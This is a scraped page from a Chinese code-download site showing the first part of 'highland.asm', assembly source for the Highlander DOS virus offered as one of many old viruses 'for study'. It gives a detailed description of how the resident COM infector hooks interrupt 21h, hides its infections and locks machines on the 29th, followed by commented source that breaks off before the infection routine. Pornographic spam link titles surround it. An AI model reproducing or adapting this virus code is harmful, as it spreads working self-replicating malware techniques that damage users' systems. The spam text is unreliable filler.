亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? highland.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
;HIGHLAND.COM

;This is the HIGHLANDER Virus version 1.0.  

;This virus is a generic, parasitic, resident COM infector.  It will not
;infect command.com however.  It is not destructive but can be irritating.
;Interrupt 21 is hooked.

;This virus is to be assembled under TASM 2.0 with the /m2 switch.

;When an infected file is executed, the virus code is executed first.
;The virus first checks to see if the virus is already resident.  It does
;this by setting the AH register to 0DEh.  This subfunction is currently
;unsupported by DOS.  Interrupt 21 is then called.  If after the call, AH is 
;unchanged, the virus is not resident.  If AH no longer contains 0DEh, the
;virus is assumed to be resident (If the virus is resident, AH will actually
;be changed to 0EDh.  This is never checked for, only a change from 0DEh
;is checked for).  If the virus is already resident, the executing viral
;code will restore the host in memory to original condition and allow it
;to execute normally.  If however, the virus is not resident, Interrupt 21
;will then be trapped by the virus.  Once this is accomplished, the virus
;will free all available memory that it does not need (COM programs are
;allocated all available memory when they are executed even though they can
;only occupy one segment).  The viral code will then copy the original 
;environment and determine the path and filename of the host program in 
;memory.  The viral code will then shell out and re-execute the host 
;program.  The virus is nearly resident now.  When the virus shells out
;and re-executes the host, a non-supported value is passed in the AL
;register.  This is interpreted by the virus to mean that the infection
;is in transition and that when the host is re-executed, to assume that the
;virus is already resident.  This value is then changed to the proper value
;so that the shell process will execute normally (INT 21 is already trapped
;at this point).  This shell process is invisible, since the viral code
;so successfully copies the original environment.  Once the host has 
;finished executing, control is then returned back to the original host
;(the viral code).  The virus then completes execution by going resident
;using interrupt 027h.  In all appearances, the host program has just 
;completed normal execution and has terminated.  In actuality, the virus
;is now fully resident.

;When the virus is resident, interrupt 021h is trapped and monitored.
;When a program is executed, the resident virus gets control (DOS executes
;programs by shelling from DOS using interrupt 021h, subfunction 04bh).
;When the virus sees that a program is being executed, a series of checks
;are performed.  The first thing checked for is whether or not the program
;to be executed has 'D' as the seventh letter in the filename.  If it does
;the program is not infected and is allowed to execute normally (this is
;how the virus keeps from infecting COMMAND.COM.  No COM file with a 'D'
;as the seventh letter will be infected).  If there is no 'D' as the seventh
;letter, the virus then checks to see if the program to be executed is a
;COM file or not.  If it is not a COM file, it is not infected and allowed
;to execute normally.  If the COM file test is passed, the file size is then
;checked.  Files are only infected if they are larger than 1024 bytes and
;smaller than 62000 bytes.  If the file size is within bounds, the file
;is checked to see if it is already infected.  Files are only infected
;a single time.  The virus determines infection by checking the date/time
;stamp of the file.  If the seconds portion of the stamp is equal to 40,
;the file is assumed to be infected.  If the file is infected, the virus
;then checks the date.  If it is the 29th day of any month, the virus will
;then display its irritating qualities by displaying the message 
;'Highlander 1 RULES!' 21 times and then locking the machine and forcing
;a reboot.  If the file is not infected, infection will proceed.  The 
;virus stores the original attributes and then changes the attributes to
;normal, read/write.  The file length is also stored.  The file is then
;opened and the first part of the file is read and stored in memory (the
;exact number of bytes is the same length as the virus).  The virus then
;proceeds to overwrite the first part of the file with its own code.  The 
;file pointer is then adjusted to the end of the file and a short 
;restoration routine is copied.  The original first part of the file is 
;then copied to the end of the file after the restore routine.  The files
;time/date stamp is then adjusted to show an infection (the seconds portion
;of the time is set to 40.  This will normally never be noticed since 
;directory listings never show the seconds portion).  The file is then
;closed and the original attributes are restored.  Control is then passed
;to the original INT 021h routine and the now infected program is allowed
;to execute normally.

;This virus will infect read-only files.
;COMMAND.COM will not be infected.
;It is not destructive but can be highly irritating.



.model tiny
.code
     IDEAL


begin:
     jmp checkinfect              ;jump over data to virus code


data1:
     dw offset endcode+0100h      ;address of restore routine
typekill:
     db 01ah                      ;kills the DOS 'type' command
version:
     db 'v05'                     ;virus version number
data2:
     dw 0,080h,0,05ch,0,06ch,0    ;environment string for shell process
data3:
     db 'COM'                     ;COM file check
data4:
     db 0,0,1,0                   ;data preceeding filename in environment
data5:
     db 'Highlander 1 RULES! $'   ;irritating message 


restcode:                         ;restoration routine to restore host 
     rep movsb                    ;move host code back to original loc
     push cs                      ;setup to transfer control to 0100h
     mov ax,0100h
     push ax
     mov ax,cx                    ;zero ax
     ret                          ;transfer control to 0100h and allow host
                                  ;to execute normally 


checkinfect:                      ;check to see if virus already resident
     mov ax,0de00h                ;unsupported subfunction
     int 21h                      
     cmp ah,0deh                  ;is it unchanged?
     je continfect                ;yes, continue going resident
                                  ;no, already resident, restore host


restorehost:                      ;setup for restore routine
     mov di,0100h                 ;destination of bytes to be moved
     mov si,[word data1+0100h]    ;address of restore routine 
                                  ;(original host)
     push cs                      ;setup for xfer to restore routine
     push si
     add si,checkinfect-restcode  ;source of bytes to be moved
     mov cx,endcode-begin         ;number of bytes to move
     ret                          ;xfer to restore routine


continfect:                       ;continue infection
     mov ax,3521h                 ;set ax to get INT 21 vector address
     int 21h                      ;get INT 21 vector
     mov [WORD int21trap+1+0100h],bx
                                  ;store address in viral code
     mov [WORD int21trap+3+0100h],es
                                  ;store segment in viral code 
     mov dx,offset start+0100h    ;set dx to start of viral code
     mov ax,2521h                 ;set ax to change INT 21 vector
     int 21h                      ;change INT 21 to point to virus
     mov [word data2+0100h+4],ds  ;copy current segment to env string
     mov [word data2+0100h+8],ds  ;for shell process
     mov [word data2+0100h+12],ds
     push ds                      ;restore es to current segment
     pop es
     mov bx,offset endcode+0100h  ;set bx to end of viral code
     mov cl,04                    ;divide by 16 
     shr bx,cl
     inc bx                       ;INC by 1 just in case.  bx is number of
                                  ;paragraphs of memory to reserve
     mov ah,04ah                  ;set ah to release memory
     int 21h                      ;release all excess memory 
     mov ds,[word 02ch]           ;get segment of environment copy
     xor si,si                    ;zero si
     cld                          ;clear direction flag


tryagain:
     mov di,offset data4+0100h    ;point to data preceeding filename
     mov cx,4                     ;data is 4 bytes long
     repe cmpsb                   ;check for match
     jne tryagain                 ;if no match, try again
     mov dx,si                    ;filename found.  set dx to point
     mov bx,offset data2+0100h    ;set bx to point to environment string
     mov ax,04bffh                ;set ax to shell and execute.  AL contains
                                  ;an invalid value which will be interpreted
                                  ;by the virus (int 21 is now trapped by it)
                                  ;and changed to 00.
     cld                          ;clear direction flag
     int 21h                      ;shell and re-execute the host program
     mov dx,(endcode-begin)*2+0110h
                                  ;set dx to end of virus *2 plus 10.  This
                                  ;will point to the end of the resident
                                  ;portion of the virus
     int 27h                      ;terminate and stay resident


start:                            ;start of virus.  The trapped INT 21 points
                                  ;to this location.
     pushf                        ;store the flags
     cmp ah,0deh                  ;is calling program checking for infection?
     jne check4run                ;no, continue on checking for execution
     mov ah,0edh                  ;yes, change ah to 0edh
     jmp cont                     ;jump over rest of viral code


check4run:
     cmp ah,04bh                  ;check for program attempting to execute
     je nextcheck                 ;yes, continue checks
     jmp cont                     ;no, jump over rest of virus


nextcheck:
     cmp al,0ffh                  ;check if virus is shelling.  0ffh will
                                  ;normally never be used and is used by
                                  ;the virus to shell the host before it is
                                  ;fully resident.  This prevents the virus
                                  ;from shelling twice, which will work but
                                  ;lose the environment and cause problems.
     jne workvirus                ;normal DOS shell. Jump to virus meat.
     xor al,al                    ;virus is shelling.  zero al.
     jmp cont                     ;jump over rest of virus


workvirus:

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
www欧美成人18+| 麻豆国产精品一区二区三区| 亚洲bt欧美bt精品777| 国产一区视频导航| 欧美日韩在线免费视频| 国产精品亲子伦对白| 精品一区精品二区高清| 欧美另类videos死尸| 亚洲视频 欧洲视频| 国产成人综合自拍| 精品福利视频一区二区三区| 性久久久久久久久久久久 | 亚洲欧美综合色| 国内不卡的二区三区中文字幕| 欧美在线观看一二区| 国产精品每日更新在线播放网址| 免费观看日韩电影| 欧美电影一区二区| 亚洲亚洲人成综合网络| 色伊人久久综合中文字幕| 久久久国产精华| 国内精品视频666| 日韩午夜在线影院| 日本欧美大码aⅴ在线播放| 欧美三级资源在线| 亚洲在线视频免费观看| 欧美在线三级电影| 亚洲最大成人网4388xx| 欧美性xxxxx极品少妇| 亚洲一区二区高清| 欧美日韩国产精品成人| 日韩av二区在线播放| 91精品国产综合久久小美女| 视频一区欧美日韩| 制服丝袜一区二区三区| 免费在线一区观看| 久久亚洲春色中文字幕久久久| 日本不卡123| 欧美videos大乳护士334| 久久激五月天综合精品| 久久免费精品国产久精品久久久久| 极品少妇一区二区三区精品视频 | 色综合欧美在线| 亚洲精品日韩专区silk | 不卡的电影网站| 综合电影一区二区三区 | 97久久精品人人澡人人爽| 国产精品不卡视频| 欧美性色黄大片手机版| 天堂在线亚洲视频| 久久久久久99精品| 99视频一区二区三区| 一区二区久久久| 91精品国产入口在线| 国产精品一区一区三区| 亚洲欧美另类图片小说| 欧美久久久久中文字幕| 国产精品综合久久| 亚洲女同一区二区| 日韩欧美在线综合网| 成人午夜免费视频| 亚洲午夜激情网站| 久久精品日产第一区二区三区高清版 | 国产黄色91视频| 亚洲视频在线一区二区| 欧美一级日韩免费不卡| 成人一道本在线| 日韩激情一二三区| **网站欧美大片在线观看| 欧美一区二区免费| av不卡免费电影| 久久国产麻豆精品| 综合在线观看色| 精品国产一区二区三区久久久蜜月 | 91原创在线视频| 美女精品自拍一二三四| 中文字幕中文字幕一区| 日韩精品专区在线影院重磅| 99精品在线观看视频| 久草中文综合在线| 亚洲午夜精品17c| 国产精品视频一二三区 | 久久亚洲一区二区三区明星换脸| 欧洲一区二区三区在线| 风间由美一区二区三区在线观看 | 亚洲狠狠丁香婷婷综合久久久| 欧美一级国产精品| 在线观看国产一区二区| 国产乱淫av一区二区三区| 日韩精品乱码av一区二区| 国产精品伦一区二区三级视频| 精品日韩一区二区三区免费视频| 色婷婷综合五月| 国产91精品欧美| 韩国av一区二区三区| 日本成人在线看| 一区二区三区在线看| 国产精品久久久久一区二区三区 | 欧美精品久久99| 色婷婷亚洲婷婷| 99国产欧美久久久精品| 国产大片一区二区| 国产精品一二三四| 国产在线观看一区二区| 美女在线视频一区| 美脚の诱脚舐め脚责91 | 亚洲影视在线观看| 亚洲丝袜另类动漫二区| 最新中文字幕一区二区三区 | 精品国产青草久久久久福利| 欧美群妇大交群中文字幕| 欧美视频在线不卡| 欧美性猛交xxxxxxxx| 欧美亚洲图片小说| 在线一区二区三区| 欧美日韩综合在线| 欧美日本在线视频| 7777精品伊人久久久大香线蕉最新版| 在线精品视频一区二区| 在线亚洲免费视频| 欧美久久一二区| 日韩欧美一级片| 久久精品欧美一区二区三区麻豆| 久久久久久久久久美女| 久久精品亚洲精品国产欧美 | 久久久久一区二区三区四区| 欧美经典一区二区| 成人欧美一区二区三区1314| 亚洲精品高清在线| 视频一区视频二区中文字幕| 日本午夜精品一区二区三区电影 | 欧美精品一区二区三区久久久| 2021国产精品久久精品| 国产精品女同一区二区三区| 亚洲精品日韩一| 蜜臀av国产精品久久久久| 国产福利视频一区二区三区| 成+人+亚洲+综合天堂| 欧美日韩在线观看一区二区 | 欧美日本一道本| 亚洲精品在线电影| 亚洲啪啪综合av一区二区三区| 亚洲自拍偷拍图区| 久久99精品久久久久婷婷| 成人午夜电影久久影院| 欧美日韩一本到| 久久久久久久久岛国免费| 一区二区三区在线免费播放| 久久国产剧场电影| 色偷偷88欧美精品久久久| 欧美大白屁股肥臀xxxxxx| 中文成人av在线| 日韩精品乱码av一区二区| 成人激情视频网站| 91精品国产综合久久精品app| 久久久久久久精| 午夜精品久久久| 国产成人高清在线| 欧美一区二区在线播放| 中文字幕乱码久久午夜不卡| 午夜精品久久久久| 91麻豆swag| 26uuu精品一区二区三区四区在线| 亚洲精品视频在线观看网站| 国产一区二区三区香蕉| 欧美日韩国产免费一区二区| 国产人妖乱国产精品人妖| 日韩和欧美的一区| 色av综合在线| 国产精品久久久久久久久免费樱桃| 日韩av在线发布| 色天天综合久久久久综合片| 国产欧美中文在线| 久久精品国产久精国产| 欧美日韩综合色| 亚洲男同1069视频| 成人国产精品视频| 国产亚洲欧美中文| 韩国精品一区二区| 日韩精品专区在线影院重磅| 亚洲.国产.中文慕字在线| 99v久久综合狠狠综合久久| 国产午夜精品一区二区三区视频| 免费看日韩a级影片| 欧美日韩国产另类一区| 亚洲精品久久嫩草网站秘色| 东方欧美亚洲色图在线| 国产亚洲一本大道中文在线| 激情五月婷婷综合| 日韩欧美在线1卡| 麻豆成人久久精品二区三区红| 欧美三级中文字幕在线观看| 一区二区在线电影| 色综合久久中文字幕综合网| 中文字幕乱码日本亚洲一区二区 | 国产自产视频一区二区三区| 日韩美女一区二区三区四区| 蜜桃精品视频在线观看| 欧美一二三区精品| 玖玖九九国产精品|